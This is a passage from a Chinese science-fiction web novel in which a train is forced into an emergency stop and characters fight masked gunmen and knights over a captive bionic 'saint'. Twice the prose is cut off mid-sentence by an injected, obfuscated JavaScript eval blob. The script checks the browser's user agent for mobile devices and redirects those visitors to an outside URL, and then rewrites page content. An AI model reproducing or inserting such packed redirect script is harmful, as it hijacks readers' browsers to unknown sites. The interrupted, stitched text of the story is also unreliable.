姜原略一考虑,便转身准备离开,却发现黑猫不知何时也挤进了圈子。他问黑猫是什么情况。 黑猫长叹了一口气,说:“大小姐非要让我来看看,问问到底怎么样了。”然后他上前,对那些骑士们说道:“我替我们家小姐请问,现在到底是什么情况?她担心列车是不是遭到什么袭击或者……” “枢机主讲大人吩咐过,请您和玉小姐到他的车厢,才能告知详细的情况。”骑士看了看周围的人,低声答道。 “他这么说的?”黑猫没想到会是这个答案。不久前他才跟这位骑士发生了一点不快,他没想到枢机主讲这么快就知道了他和大小姐的事情。 “是。” 黑猫还在犹豫。如果能让小姐去枢机主讲的车厢,自然是更安全的。但玉家这一代人与远在石岗城的枢机主讲程光颢已有很长时间不曾往来。他不知该不该贸然接受对方的邀请。 “情况比较特殊。请您和玉小姐到枢机主讲大人的车厢面谈。”紫袍骑士坚持道。 姜原在一旁冷眼旁观。 黑猫终于答应道:“好吧。我去跟小姐说一声。” ### 蓝面具来到了5号车厢和餐车的交界处。 他跟等在那里的郑小楼和王西凤做了个手势,然后提起身边的旅客扔到一边,大马金刀地坐在他的位置上,喊道:“放!” 郑小楼跟王西凤对视一眼,她从背包里掏出一个纯白色的面具戴上,然后按下手中启动器的按钮。 警报的呜呜声响彻整辆列车。一盏盏红灯在车厢两侧的门口疯狂闪烁,安全出口的应急灯也悠悠地泛起绿光。 乘客们一瞬间慌乱起来。听从蓝面具命令的人都战战兢兢地坐在座位上,有的抱住了脑袋,而还有一些没有座位的人一脸茫然的站着,不知所措。 一等车厢里的乘客尤其慌乱。他们原本聚集在2号车厢准备讨要一个说法,但这突如其来的警报吓得他们争先恐后地奔向身后的车厢门,好像从那里离开就能离开这辆火车一样。 姜原在警报响起时,向最近的一个座椅扑去,试图找到一个能固定住自己的地方,但还是晚了一步。 T134号列车这个上千吨的巨物在预设程序的控制下,开始向液压刹车系统泵入液压油。刹车片夹紧车轮,车轮与铁轨尖啸着擦出无数火花。整个紧急制动系统只为一个目标工作:尽一切手段在最短距离内将速度减少至0。 这个原本是为了保证人类安全的设计,如今却对全车人造成了伤害。 巨大的惯性使得所有人一同向车厢前方滑去。有的人肚子撞上了座位之间的小桌,有的人从座位下滑了出去。有的人伸手想抓住椅背,但反而让自己转了个圈,被后面滑来的人撞倒在地。第一个人跌倒,后面的人也跟着跌倒,身体压上身体,鞋子踩上手指,脑袋卡进四肢之间。几十个人一瞬间变成一团长着无数手脚的肉球,翻滚着撞向车厢前面的骑士们。 姜原只是刚进入座位,还没来得及调整方向,他的后背就在惯性的作用下撞上椅背。安全座椅因为这撞击而变形,向前歪斜,姜原整个人反而都向后翻去。在这灾难发生之时,他还是及时伸出机械爪,将自己的身体强行拉了上去,像蜘蛛一样贴在行李架上,看着下面的人群相互践踏。 黑猫也在那危急的一瞬间,如真正的黑猫般借着向前的速度跃起,在空中灵敏地扭转身体,双脚踩向车厢门。紫衣骑士见到黑猫向他们飞来,急忙向侧面一闪。黑猫的双脚落在车门上,抵消了刹车带来的加速度,随后身子上翻,双手各抓住一边的行李架,堪堪躲开了人群的冲撞。 只是他身下的那些乘客重重撞上车厢门,发出沉闷的响声和尖锐的惨叫。 列车在滑行了五公里之后,终于停下了。 51.启明号列车09 这一次的感觉跟上一次并不相同。 如果说被圣女草包裹的体验像是意识被抽离身体,送入虚空与黑暗;那么这一次被电离溶液浸泡的感觉就像是被装进了一个罐头。她能够听到外面的动静,看到外面的人影,只是完全不能动弹。电离胶就像是用来困住小虫的松脂,黏得她无法动弹。只不过松脂困住的是小虫的肢体,而电离胶黏住的是她的意识。 她的仿生神经信号没有办法穿透电离胶形成的电磁场,去控制她的手脚,甚至是思维。 一些记忆的碎片渐渐从她的大脑中流出。她记得的,还有不记得的。有她和一个人影站在垃圾构成的山上说话的情景,有她望着树荫中八哥的情景,以及距离她最近的,在她钻进那口漆黑的棺材中的情景。 那到底是什么东西? 方方正正的洞口内,暗沉沉的液体透不过一丝光,也没有因时不时的震动掀起丝毫波澜。那里面厚厚的、黏黏的,就像沥青。 毋宁说,更像是黑暗本身。 她蹲在洞口,向着黑暗伸出手去。但她的手并没有那么长。她的指尖堪堪触到水面。软软的,弹弹的。 她坐在洞边,伸一只脚进去。她的脚掌感到一点点弹性,但那黑色的浓稠物质很快就淹没了她的脚背。一股温热的感觉舔舐着她的脚踝。这让她甚至有了一点点快感。她把另一只脚也放了进去。 但她并不知道这下面到底是什么。她不知道自己下去之后还能不能再上来。她有点恐惧。但这种恐惧并没有意义。因为她的身体是人类制造,她的意识也是人类赋予。她本身就是为了人类的目标而存在。即便现在是为了人类而死去,那也算是她的本分。 她的手腕一撑,将整个身子送向洞口上方,然后撤回双手,交叉叠在胸前。她的身体笔直落了下去,如一柄宝剑落入河中。浓浓的黑色逐渐没过她的脖颈,然后是她的下颌,嘴唇,鼻尖,眼睛,头顶。 她服从了他的命令。他会为此而高兴吗? 这不是她应该思考的问题。 如果他预期的事情没有发生,她就这样损失掉了,他会为此而难过吗? 这更不是她应该思考的问题。 人类那些无聊的话语,并不是为了这一刻而说的。 她渐渐开始感觉到那些温暖而浓厚的物质开始噬咬她的身体。 她的身体开始消散。 在意识扩散到整个空间之后,一切都开始猛烈地震动起来。 是那条鲸鱼吗? 她不由得睁开眼睛。如果她还有眼睛的话。 她的眼前只有黑暗。 ### 列车在凄厉的长长尖啸之后,终于停下了。 姜原从车顶跳了下来。他跟黑猫对视一眼,谁也没有说话,然后不约而同地抛下那些仍在挣扎与呻吟的旅客,从打开的车门离开了。 事情总是变成这个样子。某种程度上跟他有关系,但又跟他没有关系。 凡事都是因为这样,才让人总是无所适从。 但他仍然有事要做。姜原的机械爪在车顶一搭,借着那股力道一跃而上。他本该如郑小楼跟他说的一样,避开特等座的骑士们,越过车顶,直接去车头控制驾驶员。但他早已看到,枢机主讲的车厢也因这紧急刹车的缘故,打开了车门。那个黑洞洞的门口敞开着,像有一只无形的手从那里伸出来,在邀请他进去。 他忍不住从车顶倒挂下来,想看看车厢内到底是什么情况。他不太担心周向青会在这刹车中受什么伤害,毕竟她的性能那么好。要说受伤,也更有可能是枢机主讲—— 然后他看到了那个注满绿色溶液的样本瓶,以及像是漂浮在福尔马林溶液中的周向青。 此时的他,就已经不能再到车头去了。 枢机主讲从地面上爬起来,捂着撞伤的额角,摇摇晃晃地靠在墙上。他注意到刚刚跃入车厢的姜原,便抬起眼皮说:“没想到你居然还好好的。就是你把火车弄停的吗?” 姜原并没有回答枢机主讲的问题。他正注视着那一柜绿色的溶液。 在这个电磁环境的福尔马林瓶里,周向青闭着眼睛,静静漂浮于其中,就像是睡着了一样。玻璃柜上连接的各种探头射出的光线,仍然在她身上扫来扫去,只是那些探头的操作者都在刚才被惯性甩到了车厢一侧。那些人中,有几个已经一动不动了,有几个还时不时抽搐一下。 姜原本以为枢机主讲只是把周向青作为一个政治筹码带回石岗城,所以也没有带什么武器。 但现在这个情况,明显跟他想象中并不相同。 昨晚枢机主讲说的话在他的脑中浮现。 ——我的弟弟觉得,只要他能找到最后一份文档,他就能完成一个奇迹,就能够打破现状,就像圣女保护了大博物院一样,让圣座口中的三元一体早日到来。他就是这么相信,尽管他连已经发现的文档内容都不愿意去了解。但这世界上没有奇迹。想见到奇迹只会要我们付出生命的代价。最后一份文档还是就不为人知的好。如果我是你,我会直接把它烧掉。我是真的这么建议。 ——而周向青的存在,某种程度上说,正是一个奇迹。 所以,他,是要烧掉她。 姜原皱眉道:“看来,你还是被亡灵附身了。” 枢机主讲笑了笑,慢慢摇头:“我不明白你那句话是什么意思。” 姜原没有再解释。他突然拎起旁边的一台仪器,猛地向那玻璃样本瓶上砸去。但这只是造成微不足道的“砰”的一响,以及一个并不大的白点。机器薄薄的铁皮外壳变形了,里面的零件散落一地。 “你砸不坏的。这玻璃柜平时用来装圣女草,现在用来装圣女,也算是得其所哉。他们今早废了老大功夫才把这个装置安排好。不得不说,做的还不错。至少没有漏液。”枢机主讲说到这里,看了一眼角落里呻吟的研究员们,从墙壁上撑起身子,调侃道:“你这时候跑来找我,难不成又要提一个我无法拒绝的建议吗?” “这次我没有什么建议了。反正你也不会接受我的建议。”姜原答道。 如果枢机主讲真的要“烧掉”周向青,那他可能需要一点武力才能把她带走。但他现在身上只有一把隐藏式电枪,一个能射出干扰弹的隐藏发射管,以及之前他回旅馆时捡到的一枚发泡胶质炸弹,也就没有别的东西了。他有些后悔自己没有利用早上的时间好好整备。但事到如今,也没有后悔药吃。 他能依赖的只有外面那些莫名其妙的家伙,以及周向青自己的机能。 姜原向旁边走了两步。他打量着装有周向青的玻璃柜,思考有什么破坏这个柜子的办法。看上去周向青只是类似于一种待机的状态,而且身上也没有连接任何管道电缆。她的情况可能跟这些液体有关系。要唤醒她,大概先得把她从这玻璃柜里弄出来。 而枢机主讲也慢慢地离开了自己的位置,似乎他是跟姜原保持一定的距离。玻璃立柱几乎占了车厢大部分能够通行的空间,周围还散步着仪器、线路、刚才紧急制动时掉下来的各类杂物。在这个环境里,移动真的很需要注意脚下的情况。 “如果你不提建议了,那打算怎么办呢?”枢机主讲说。 “我只想带她离开。”姜原说。 “但她可是统修会的圣女啊,”枢机主讲露出夸张的表情,“你带着我们的圣女,准备逃到哪里呢?” “哼,现在还说什么圣女。你们的圣女,就是像标本一样泡在玻璃罐里的吗?” 骑士们就在下一节车厢里,随时都有可能过来。姜原只能指望“四大恶人”能够分散骑士们的注意力,可他怀疑那个杂技班子有没有能力打穿骑士们的防线。所以他最好把希望寄托在枢机主讲的自信上。他看到天花板和地面上铺着导轨通道,说明可能还有一个控制系统。只是不知道他能不能找得到。不过,说起圣女,倒让他想起了另一个人。 “赛德呢?赛德被你弄到哪去了?” “你说那个年轻的小机师?刚才你触发强制刹车的时候,他还乖乖地躺在这里。但现在嘛,不见了。大概卡在什么地方了吧。希望他没折断脖子。”枢机主讲用他温和的声音,说着尖刻的话。 姜原看到有一只脚从茶几下伸了出来。只是那人一动不动,也没有发出任何声音。 如果赛德失去意识了,或许还好点。 “哟,看来你找到他了,”枢机主讲说,“看到同伴被自己一时的鲁莽误伤,感觉如何啊?” “又不是我让车停下来的。”姜原随口反驳。 “不是你,难道是那个大个子吗?还是另一个家伙?” 姜原没有回答。因为他听到,外面传来了连续不休的枪声。 “算了,反正也无所谓。”枢机主讲说。“伤害已经造成了。这辆车一共20节车厢,平时多多少少总有几千名乘客。而如今,有人死了,有人残疾,有人即便没有受伤,也在心里留下了阴影。这都是你的缘故。是你的错。” “你是在说你自己吧?”姜原回答。他还记得枢机主讲昨天晚上给他讲的故事。“我看你反而是不在乎别人死活的人。” “我当然在乎。这些人大部分都是卡比利亚人。他们都是你的这位同伴,昨晚奋战保护下来的生命。他们大概是趁着今天恢复交通的机会,赶忙逃到内地去。但塞翁失马焉知非福,昨天在攻城战中毫发无损,今天却被你的贪念所牵连。因为你想让她,卡比利亚的圣女,离开她的人民。”枢机主讲望着周向青沉睡中的脸,轻轻拍了拍玻璃柜。 “我才不在意这种事情。我早就习惯死人了。” “嗯。或许吧。作为学院的人,手上哪能不沾血呢?你们对于知识的渴望,能让你们无视人民的性命。但现在你们跟米卡勾结在一起,不怕将来兔死狗烹吗?” “我不知道学院那些老家伙在想什么。但我觉得他们大概没有蠢到让亡灵附在自己身上。”姜原在说到最后一句时,从他的袖口中伸出机械爪。爪钩并拢,成一个锥形充当破窗锤,然后姜原自己用手握住爪钩,向玻璃立柱上砸去。 玻璃立柱微微震动了一下,这一次甚至连白点都没有落下一个。 “我渐渐明白你的比喻了。但我并没有。理性地未雨绸缪,跟被过去的阴影纠缠,完全是两个概念。我这样处理圣女,是为了统修会,以及治下百姓的安危着想。但你们就不一样了。学院一改常态地积极地参和这场战争中来,既不符合道德,也不符合你们的利益。难道学院的首领连外交平衡都不懂得吗?”枢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“而你还带着档案来找我?不怕我把你当场拿下?” “当时我并没有带档案。即便谈成,也不会把真正重要的内容给你。” 枢机主讲冷笑了一声。“根本没有什么真正重要的东西。这一点大家心知肚明。米卡也好,你也好,我的弟弟也好,都是一样的。把全部的期望寄托在这些虚无缥缈的东西上面,然后为了不着边际的妄想,去冒险,去杀戮,去毁掉自己身边一切。所以,我更不能让你带她走了。如果让活生生的‘圣女’,确确实实存在于世界上,只会让像你们一样人变得更加疯狂。” “赛德说的‘圣女’是否虚无缥缈暂且不论,但世界政府的最后一份文档并不是什么虚无缥缈的东西。”姜原顿了顿,又说:“不过,事到如今,跟你也没什么好解释的。” 枢机主讲勃然大怒:“跟我没什么好解释的?我可是统修会的枢机主讲,整理那份档案恰恰就是我的工作之一!我就是最熟悉它的人,你说跟我没什么好解释的?那份文档总共分三个部分,关于大崩溃的调查整理报告,世界政府应对的会议纪要,各地与大崩溃相关的处理结果。估测合计八千万字,统修会目前的残本大约五千多万字,虽然只有六成,但结合图片、录音录像可以判定,已经涵盖了大部分的重要内容。你跟我说,没什么好解释的?真正没什么好解释的是自动化大崩溃的始末!无论如何解读,都已经不能再真正改变世界权力的格局,也不是解决现有问题的渠道。无论过去如何结束,世界早已滚滚向前。” “那你知道‘茂山’实验吗?”姜原问。 枢机主讲立即答道:“当然知道。那是世界政府最后一次试图寻找自动化大崩溃原因的实验。实验组收集了两千具仿生人、六千台各式电脑进行测试。只是当时世界政府已经无法承受各地的压力,在最后的结果出来之前就宣布解体,于是这次试验也就无疾而终,并没有什么值得一提的结论。” “大致是这样的。但实际上,这次试验还是有结果的。” 枢机主讲沉默片刻,答道:“不可能。实验报告是完整的,没有任何缺漏。” 姜原说:“报告本身的确没有缺漏。有缺漏的是参与这次实验的人员、物资去向。当时主管实验的刘茂德已经签字同意将物资退回,解散人员,但负责‘茂山’项目的研究中心却没有这批物资的出库记录。” “那又如何?当时世界政府已经宣告解散,一切现行秩序都已崩溃,没有记录也是正常的。” “但研究人员在刘茂德正式签字同意停止实验之后并没有返回各自原本所属的单位。不仅如此,研究中心的耗电量在实验停止之后并没有减少,只是由于没有单位给它继续缴费,在30天后被彻底切断了电源。” 枢机主讲这次沉默的时间比上一次长得多。他最后说道:“难道你想说,这些人仍然在私自研究,而他们的研究结果就在这个完整版的文档里吗?” “不。我不认为它在这份文档里。”姜原答道。“但我认为,既然弗莱,那个主持停火协议的人,在拿到这份文档之后失踪了,这份文档可能会告诉我,他到底去了哪里。” 列车突然晃动了一下。 坏了。姜原想。他忘了驾驶室。 52.启明号列车10 黑猫推开的车门刚刚弹回原位,玉明珑马上离开自己的座位,一屁股坐到了让娜的旁边。“真是烦死了。一路上过来,一会这个人有问题,一会那个人有问题,真是让人一会会儿都放松不了。”她说。 让娜说:“但他也是关心你呀。” “我?才不是嘞。”玉明珑往椅背上一靠。“他只听我爷爷的话。是我爷爷把他从街上捡了回来,所以爷爷是他的‘大恩人’。我只是他‘大恩人’的小孩,所以不管怎么闹他都忍着。本来我还觉得可以好好旅游玩呢,结果都被这个讨厌鬼搅得没心情了。你说是不是呀?胖球?”玉明珑伸出一根手指,想要摸摸胖球身上的羽毛,却又想起不久前的遭遇,赶忙将手缩了回去。 胖球警觉地叫了一声。它翅膀上的出血已经停了,现在正站在玉明珑前面的座椅靠背上东张西望。 让娜不是很清楚玉明珑说的事情。她眼下只担心姜原说的那个“很强很强的往前冲的力量”,不知什么时候就会到来。 “你们是去旅游的吗?”让娜强行聊天,转移自己的注意力。 “要是就好啦。爷爷让我们把这玩意送到石岗城的研究院去。他说研究有了突破,传输效率提高了5%。我就不知道了,5%算什么突破?100才多5,也没多少嘛。哼。就是因为爷爷那样子,黑猫才这呀那呀地说个没完。不然我才不管他咧。这黑猫,一去这么长时间。”玉明珑站起来,甩了甩尾巴,向前面的车厢门看去,似乎是打算也跟过去看看。 让娜握住玉明珑的手,说:“你先坐下吧,万一……摔倒就不好了。” “摔倒?为什么会摔倒?火车开起来是很稳的。”玉明珑说。 “先坐下吧,黑猫肯定会马上回来的。” “你怎么跟黑猫一样啰嗦。而且说得好像你很了解他一样。”玉明珑嘴上抱怨,但还是坐了下来。 几乎就在玉明珑刚坐下来的同时,车厢两端的红灯闪烁起来,随之而来的就是一股伴着金属摩擦锐声的极强冲力。让娜跟玉明珑齐刷刷撞上前面的座椅。安全座椅倾斜、凹陷、变形,吸收了大部分的力量。但即便如此,她们还是被速度牢牢按在座椅上,动弹不得。 胖球的两个爪子钩住了车座的布套,吓得不断扑腾着翅膀,嘎嘎大叫。 这个过程大概持续了十几秒。 向前的速度被向后的摩擦力抵消殆尽,列车颤抖了一下,终于停了下来。 最后那一次震动,把她们的脑袋从安全座椅中拔了出来。让娜感觉自己的眼前朦朦胧胧,双脚下的地面也似乎还在滑来滑去。她手里的胖球倒是支楞着脑袋左看右看,这点程度的加速度对它来说,跟没有差不了多少。玉明珑挣扎着,想要扶着座椅站起来,但膝盖一软,一屁股坐了回去。她头上的鹿角也折断了,蓝色的电火花时不时噼啪一响。 一双手从旁边伸了过来,摘下了玉明珑头上的鹿角。 电火花在鹿角离开的瞬间就熄灭了。 “原来这东西是这么一回事啊。厉害,厉害。甚至连切口都不用,大概有点类似上时代的做法,但并不一样。到底是怎么回事呢……” 玉明珑抬起头,看到来人那一头油腻蓬松的乱发和缠着胶布的眼镜。“你、你是之前那个眼镜男!”她惊呼道。 “对对对,是我是我。”眼镜男伸出手,掰转玉明珑的脑袋,前前后后看了一遍,然后又按下她的脑袋,去找那条龙尾与身体连接的地方,嘴上还说:“你忍一下,马上就好,不然他们可能就会来了——” “你干什么啊!”让娜喊道。她扑上去想挡开眼睛男的手,却被一把推开。胖球嘎嘎叫了两声,拍着翅膀跳到空中。 玉明珑又羞又怒,她一头撞上眼镜男的肚子。眼镜男闷哼一声,往后退了两步。玉明珑一扭腰,那龙尾如迅雷电闪一般,向眼镜男的脸上抽去。 叭! 但这一下居然抽了个空。 眼镜男不知通过什么方式,在龙尾即将抽上他的时候平移了半米。玉明珑借着这一抽的动势腾空跃起,又是一脚抽向眼镜男的脸。但眼镜男就像纸片一样轻飘飘地向后滑去,同时还摸着自己胡子拉碴的下巴。“嗯、嗯,原来是这样的性能。” “打他!打他!”让娜在后面挥着拳头喊道。 玉明珑掀起一道又一道接连不断的攻击旋风,但眼镜男却像风中的柳枝般左右摇摆。他一味后退,并不反击。不知道为什么,玉明珑明明感觉自己能够击中他,但龙尾也好,脚尖也好,总是一次次擦过眼镜男油腻腻的领口。 眼镜男一路退到车厢尾部,躲进厕所里,关上门,咔哒一声,把自己反锁在里面。 玉明珑一脚踹上厕所的小门,小门晃了一下,并没有打开,大概是眼镜男在里面用什么东西顶住了。 “开门!你这贱人!”玉明珑骂道。 “我不开!就看一看,至于吗?” “看一看也不行!” “那就不看了呗!你别缠我了!有这功夫,你还是担心别人吧——” “你说什么屁话——” 玉明珑只感到有一股沉重的力量把她的脑袋按了下去。 她刚要破口大骂,但却见是黑猫。黑猫的表情异常严肃,他瞪大双眼,像是看到了什么鬼魅一般,望着车厢连接门的另外一侧。玉明珑咽下了嘴里骂人的话,但还是忍不住想要从黑猫的手下挣脱出来。 但黑猫仍然压着她,不让她抬头。 因为对面餐车的门后,正站着一个戴着白面具的人。冰冷的目光透过面具上的两个孔洞盯着他。面具上没有任何纹路,白煞煞的,有些瘆人。 白面具的肩膀微微一动。 黑猫在那一瞬间,抱着玉明珑滚倒在地上。 一连串的枪声伴着玻璃的碎裂声,响彻整个车厢。子弹从黑猫的鼻尖上掠过,翻滚着击中后面的座椅,溅起一朵血花。一名乘客痛苦地惨叫起来。 枪声甫停,黑猫一个翻身,双手举着玉明珑,向旁边的座位上一抛。自己则借力手脚并用,翻上另一侧的座椅靠背。 于此同时,对方又射出一排子弹。子弹穿过车门,打在他们刚刚所在的地板上。而此时黑猫和玉明珑都已经躲进射击的死角。 黑猫那高大的身形蹲在一等座的座椅靠背上,掏出一对如猫爪般的指虎戴在手上,并朝玉明珑叫道:“小姐!你躲好!” 玉明珑又惊又怒,她不知道现在过来的人到底是谁。她忍不住骂道:“这安检到底是怎么搞的!都是一些废物!” 对方大概是听到了她的声音,又胡乱射来一排子弹。仅剩的乘客全都躲在座位后瑟瑟发抖。 3号车厢的门喀拉一声,打开了。 黑猫已经离开座椅靠背,双手插进车厢顶部,在车厢后上角固定好自己的身体,就等着对方进入车厢。 白面具谨慎地向前迈出一步,又一步。他的双眼扫视着车厢内的情况,但能看到的只是一排排的座椅。他所在的位置的视野被厕所和洗脸台限制,非常狭窄,看不到黑猫现在的位置。 白面具又向前走了一步,贴上厕所的墙壁,枪口预瞄死角的位置。 但此时厕所里响起了冲水的声音。 白面具反射式地跳开,枪口对准厕所门。 喀拉一声,厕所门上红色的“有人”标识翻动一下,变成了绿色的“无人”。 白面具望着厕所门,等待着。 门把手转动起来,微微打开了一条缝,然后停住了。 白面具一脚踢上厕所门,随后将扳机直扣到底。子弹呼啸而出,打在不锈钢皮的洗手台上。 硝烟散去,里面却空无一人,只是水管已经被打坏,嗤嗤地射出水流。 白面具一呆,然后拔出弹夹准备换弹,但黑猫已经抓着门框一荡,双脚齐出,像是攻城锤一样撞上白面具的头,直撞得他向后飞了出去。 黑猫紧跟上一步,一把按住了白面具的脑袋,那猫爪指虎的爪刃正好从手指的缝隙间插进白面具的皮肉。“你们是谁的人?”黑猫大声问。 虽然疼痛,但白面具一句话也不说,一双冷冰冰的眼睛倔强地盯着黑猫。 黑猫抓起他的脑袋,在地上重重一砸。白面具登时晕了过去。 “怎么回事?那个油腻恶心的家伙呢?”玉明珑看着空无一人的厕所,诧异地问。 “玉小姐?”车厢前端突然传来了人声。 玉明珑和黑猫转身一看,只见是一个紫袍骑士站在过道上。 “喂!你们这些废物!刚才有些戴面具的,还有一个油腻的恶心男袭击我们,你们也不管管?”玉明珑一边抱怨,一边指着躺在地上的白面具。 “是吗?这样吧,玉小姐,您先跟我们来,我们一定保护您的安全。”那紫袍骑士答道,同时向前走了几步,伸出手来。 此时,另一个紫袍骑士也走进车厢,斜斜站在对方身后,手按着剑柄,一副蓄势待发的样子。 玉明珑一面向前走去,一面抱怨:“还有你,黑猫,来的这么晚。那家伙居然用他的脏手在我头上摸来摸去,我现在一想,都觉得,嘶——身上一股恶寒,你知道吗?” “是,对不起。我反应慢了。”黑猫低头道歉。 “还有你们这些人,居然让带着枪的人上车,还好我反应快,不然就出事了你知道吗?” 那骑士并没有回答,而是一把抓住了玉明珑的手,把她向后拖去。 “嘿!你干什么!”玉明珑一惊之下,伸手在骑士的臂甲上乱拍。那骑士一点反应都没有,只是拖着她走。 玉明珑的尾巴对着骑士的颈部狠狠抽去。 但那骑士抬起紫袍下的铁臂,轻松挡下,而且右手一绕一绞,顺势把玉明珑捉了起来,往腋下一夹。 “放开我家小姐!”黑猫大喝一声,赶上前去。但另一名骑士侧身补位,左手拔剑,凌厉一剑从前一位骑士身下刺来。黑猫没想到这骑士竟然一出手就是致命攻击,而看到时却已不及闪避。 但那一剑刺至黑猫胸前,竟而未能再进半寸,而是又缩了回去。却是一只八哥扑上那骑士的面甲,两只翅膀啪嗒嗒地乱拍,那骑士吃了一惊,这一剑便未尽全力。骑士反手要抓那八哥,却抓了个空,八哥早已躲到了行李架上。而让娜刚才抛出胖球后,自己也从座位下爬到了车厢后面。 “你们到底要干什么?你们不是统修会的吗?”黑猫大声质问。 但那骑士并不答话,只是举剑拉了个架势,意在掩护队友。 玉明珑双脚离地,只能在空中乱踢乱打。但那骑士夹着她大步向前,已经到了车厢连接处。玉明珑双手抓着旁边的座椅,叫道:“黑猫!你快上啊!说什么废话!” “你们到底要干什么?!”黑猫大声质问。他不知道这些骑士们为什么突然要对自己和玉明珑下手。他唯一能想到的,就是这必然与刚才的紧急停车有某种关系。 但那紫袍骑士仍然闭口不答。 黑猫一咬牙,扑了上去。 细长的剑刃是石岗城近卫骑士的特色,因为他们不上战场前线,以护卫为主,也就不需要大开大合的攻击。以直刺为主的剑身及剑术,非常适合车厢这狭窄的通道;而黑猫动作迅捷的优势反倒施展不开。 二人几个回合交错,黑猫不能前进一步,衣服反倒被划破了好几处。而另一个骑士已经带着玉明珑回到了2号车厢。 黑猫又急又怒,只觉得身上那件正装碍事,索性扯破了扔到一边,露出上半身的肌肉来。他除了普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147652|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通人的肌肉之外,还有一条条类似铁臂、龙尾一般的,活化机械组成的仿生肌连接着他的每一处关节。从肩到肘,从肘到腕,胸口、背部、腰腹,处处都予以补强。 仿生肌也是由圣女草生成,金属结构,自有一定的强度,所以除了强化肌肉性能之外,还起到一定程度的外骨骼作用。这样的运用方式可能在纯粹的力量方面不如骑士的铁臂,但好处却显而易见——对人体的负担更小。 黑猫丢开衣服,猱身而上。骑士平剑直刺黑猫的心脏,但黑猫的身体却像真猫一样在空中扭转,就像在身体正中开了个洞一样,唯独错开了剑刃的区域。此时骑士已来不及变招,手腕被黑猫右手一把抓住。黑猫整个身子趁势欺上前来,用仿生肌将剑刃顶出中线,左拳直击骑士的面门。 骑士也并不招架,右边的铁臂一个勾拳打向黑猫的左肋。黑猫在看到骑士不准备招架时便已料到这手,他左腿一抬,膝盖撞开骑士的右拳,自己左拳却是稳稳正中骑士面门。猫爪与面甲来了个硬碰硬,在面甲上掏出四个血洞。 骑士惨叫一声,左手丢下细剑,抓住黑猫的肩膀,右手去掏那柄折刃。但黑猫并不给对方这个机会,左腿由提变蹬,将对方的右手踩在墙上,用腾出来的右手勾住骑士的头部,整个身子以左腿右手为轴,猛地一拧。 一阵骨骼的咔吧响声后,骑士瘫软在地上。黑猫也不捡对方的武器,只是拉开车门,向2号车厢扑去。 2号车厢的乘客们在为自己的生命苦苦挣扎。不少人受了伤,不少人一动不动,还有不少人幸无大碍。地上有不少血迹、以及呕吐的痕迹。两个骑士和无碍的人正在试图把受伤的人带到座位上,把不动的人拉到一边。整个车厢里乱成一团,根本无处落脚。而那夹着玉明珑的骑士,就是穿过这样一幅景象,艰难赶往特等车厢门前。 而玉明珑看到黑猫赶来,又来了力气,重新用龙尾勾住了骑士的双腿,差点绊了他一跤。骑士正待举手殴打,却被黑猫赶来一把抓住了手臂。 另两名骑士见状,丢下其余乘客,同时拔剑,从左右刺来。黑猫只得撒手撤步,躲开了这一击。黑猫退开之后,那两名充当翼卫的骑士再度进步齐刺,准备把黑猫逼出攻击范围。黑猫见状不退反进,直接用手臂仿生肌那一侧磕开剑刃。两翼骑士见状,同时拔出折刃,右手持“折刃”拳剑在前,左手持细剑在后,肩并肩,肘并肘,摆出一个贴身肉搏的架势。 这一套左剑右刃的招法同样也是近卫骑士专为紧凑空间的带甲搏击而设计的。右手的拳剑开合招架,似攻实守;左手的细剑补防身侧的同时,捕捉到对手的破绽便大步进击。 黑猫也知道自己以一对多,不能从正面攻击。但玉明珑就在眼前,他不能眼睁睁看着别人把自家的小姐带走。于是他也只能咬牙硬上,试图在对手攻击的时候,用猫爪的弯钩挂开骑士的折刃。但骑士也颇为小心,黑猫几次尝试都未能得逞,反倒自己险些被骑士们左手的细剑划中。 而带着玉明珑的骑士解开了龙尾的束缚,拖着她拉开了通往特等车厢的门。在开门的时候,一缕阳光从外面照在骑士脸上。骑士觉得有些不对,但在他意识到这意味着什么之前,伴着震耳欲聋的枪声,一蓬霰弹的弹丸已经喷上他的面甲。如此近的距离,他面甲的防护作用极其有限。几枚弹丸穿透他面甲的窥视孔,击中他的脸。骑士丢下玉明珑,惨叫起来。他的惨叫混在乘客们的呻吟之中,变成了这地狱景象的一个部分。 两名与黑猫对峙的骑士听到枪声,但强敌在前,他们也无法回头,不由得进了一步,同时猛攻,准备先解决对手再去看后面的情况。 “你!你是谁啊!”玉明珑尖叫道。 黑猫听到这叫声,心里一慌。他一阵猛攻想要逼开骑士们,但对方也是一步不退。 而此时从车顶上探下一张黄色脸。但那并不是人的脸,而是一张画着鸟头的面具。黄色的毛,黑色的眼,红色的嘴。 那鸟头面具向车厢内投进两枚小小的纸盒,便重新关上车门。小纸盒弹跳两下,其中一枚落在骑士们脚边,嗤嗤地猛烈喷射出烟雾。黑猫见状,急忙深吸一口气,屏住呼吸,同时架开了骑士们的连续直刺。 又是几个回合之后,烟雾却已弥漫至整个车厢,遮蔽了双方的视线。骑士们的劣势更加明显,狭窄的视野内根本捕捉不到黑猫的身影,而吸入烟雾让他们喉咙发痒,头晕恶心,想要呕吐,便更加急于取胜。 一个骑士按捺不住,不再与同伴配合,而是挥剑向前冲去。 但这一冲只是扑了个空。黑猫与他错身而过,绕在他的背后,一手一掰骑士的脑袋,另一手一拳击中骑士的喉咙。猫爪刺透他咽喉处的薄甲片,弯弯的爪钩在拔出时撕开一大片血肉,鲜血从动脉喷出,染红了旁边的烟雾。另一名骑士听到声音便觉得不对,他犹豫一下,转身向后逃去,但黑猫已用夺来的折刃,一剑刺穿了他的胸膛。 